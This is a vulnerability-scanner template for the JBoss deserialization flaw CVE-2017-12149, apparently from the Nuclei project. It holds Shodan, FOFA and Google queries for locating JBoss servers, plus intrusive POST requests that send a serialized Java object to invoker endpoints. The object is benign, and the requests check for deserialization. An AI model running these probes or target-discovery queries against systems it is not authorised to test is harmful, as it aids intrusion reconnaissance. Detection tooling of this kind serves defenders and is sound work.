Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2 is susceptible to a remote code execution vulnerability because the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization, thus allowing an attacker to execute arbitrary code via crafted serialized data.
PoC代码[已公开]
id: CVE-2017-12149
info:
name: Jboss Application Server - Remote Code Execution
author: fopina,s0obi
severity: critical
description: Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2 is susceptible to a remote code execution vulnerability because the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization, thus allowing an attacker to execute arbitrary code via crafted serialized data.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized remote code execution on the affected server.
remediation: |
Apply the latest security patches and updates provided by Jboss to fix this vulnerability.
reference:
- https://chowdera.com/2020/12/20201229190934023w.html
- https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
- https://nvd.nist.gov/vuln/detail/CVE-2017-12149
- https://bugzilla.redhat.com/show_bug.cgi?id=1486220
- https://access.redhat.com/errata/RHSA-2018:1607
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2017-12149
cwe-id: CWE-502
epss-score: 0.94313
epss-percentile: 0.99942
cpe: cpe:2.3:a:redhat:jboss_enterprise_application_platform:5.0.0:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: redhat
product: jboss_enterprise_application_platform
shodan-query:
- http.title:"jboss"
- cpe:"cpe:2.3:a:redhat:jboss_enterprise_application_platform"
fofa-query: title="jboss"
google-query: intitle:"jboss"
tags: cve2017,cve,java,rce,deserialization,kev,vulhub,jboss,intrusive,redhat
http:
- raw:
- |
POST /invoker/JMXInvokerServlet/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/octet-stream
{{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
- |
POST /invoker/EJBInvokerServlet/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/octet-stream
{{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
- |
POST /invoker/readonly HTTP/1.1
Host: {{Hostname}}
Content-Type: application/octet-stream
{{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
matchers-condition: and
matchers:
- type: word
part: response
words:
- JBoss
- ClassCastException
condition: and
case-insensitive: true
- type: status
status:
- 200
- 500
# digest: 4b0a00483046022100b0a0ebc70d16c36b46c7641205eac8b28bd4d564fb4bcc7c02b24de0dfe93b240221008b2d477af5ead3c23efe8f988b92ee60813a74ee300d26f36fc85a056a4c9767:922c64590222798bb761d5b6d8e72950